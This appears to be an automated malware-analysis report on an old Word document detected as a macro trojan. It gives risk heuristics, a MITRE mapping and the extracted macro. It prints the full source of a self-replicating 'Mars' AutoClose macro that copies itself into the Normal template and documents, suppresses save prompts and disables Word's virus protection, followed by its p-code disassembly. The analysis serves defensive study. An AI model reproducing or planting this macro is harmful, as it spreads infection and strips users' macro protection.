MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a legacy Office document containing a WordBasic AutoClose macro. This macro is designed to copy itself to the Normal template and potentially save the document as a template, indicating an attempt to establish persistence or spread. The macro's name and structure suggest a known, albeit old, malware pattern.
Heuristics 4
-
ClamAV: Doc.Trojan.DWMVCK1-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.DWMVCK1-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4426 bytes |
SHA-256: 7775396b41e550305ff3657d12fd741d1ce3f8b95635c87c34418ba616848cf9 |
|||
|
Detection
ClamAV:
Doc.Trojan.DWMVCK1-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Mars"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 11/16/97 by Mars\r\n\r\n\r\n\r\nBengkalis\r\n"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Project.Mars.AutoClose"
On Error GoTo DoCancel
Application.ScreenUpdating = False
Set ActiveDoc = ActiveDocument
If (ActiveDocument.VBProject.VBComponents.Count = 1) And (Left$(ActiveDocument.Name, 8) <> "Document") Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Mars", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Set GlobalDoc = NormalTemplate
If (NormalTemplate.VBProject.VBComponents.Count = 1) Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Mars", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
DayMonth = Day(Date) * 100 + Month(Date)
If (DayMonth = 1611) Or (Day(Date) = 1) Then
With Assistant.NewBalloon
.Animation = msoAnimationGreeting
.Text = "Have a nice day"
.Icon = msoIconTip
.Show
End With
End If
Application.ScreenUpdating = True
DoCancel:
Options.VirusProtection = False
End Sub
' Processing file: /opt/analyzer/scan_staging/cb2dc7e356354b2db89c68c5e5a2bd16.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1117 bytes
' Macros/VBA/Mars - 2442 bytes
' Line #0:
' FuncDefn (Sub AutoClose())
' Line #1:
' OnError DoCancel
' Line #2:
' LitVarSpecial (False)
' Ld Application
' MemSt ScreenUpdating
' Line #3:
' Line #4:
' SetStmt
' Ld ActiveDocument
' Set ActiveDoc
' Line #5:
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' LitDI2 0x0001
' Eq
' Paren
' Ld ActiveDocument
' MemLd New
' LitDI2 0x0008
' ArgsLd LBound$ 0x0002
' LitStr 0x0008 "Document"
' Ne
' Paren
' And
' IfBlock
' Line #6:
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Source
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0004 "Mars"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #7:
' Ld ActiveDoc
' MemLd New
' ParamNamed FileName
' Ld wdFormatTemplate
' ParamNamed FileFormat
' Ld ActiveDoc
' ArgsMemCall SaveAs 0x0002
' Line #8:
' EndIfBlock
' Line #9:
' Line #10:
' SetStmt
' Ld NormalTemplate
' Set GlobalDoc
' Line #11:
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' LitDI2 0x0001
' Eq
' Paren
' IfBlock
' Line #12:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0004 "Mars"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #13:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #14:
' EndIfBlock
' Line #15:
' Line #16:
' Ld Date
' ArgsLd Day 0x0001
' LitDI2 0x0064
' Mul
' Ld Date
' ArgsLd Month 0x0001
' Add
' St DayMonth
' Line #17:
' Ld DayMonth
' LitDI2 0x064B
' Eq
' Paren
' Ld Date
' ArgsLd Day 0x0001
' LitDI2 0x0001
' Eq
' Paren
' Or
' IfBlock
' Line #18:
' StartWithExpr
' Ld Assistant
' MemLd NewBalloon
' With
' Line #19:
' Ld msoAnimationGreeting
' MemStWith Animation
' Line #20:
' LitStr 0x000F "Have a nice day"
' MemStWith Then
' Line #21:
' Ld msoIconTip
' MemStWith Icon
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.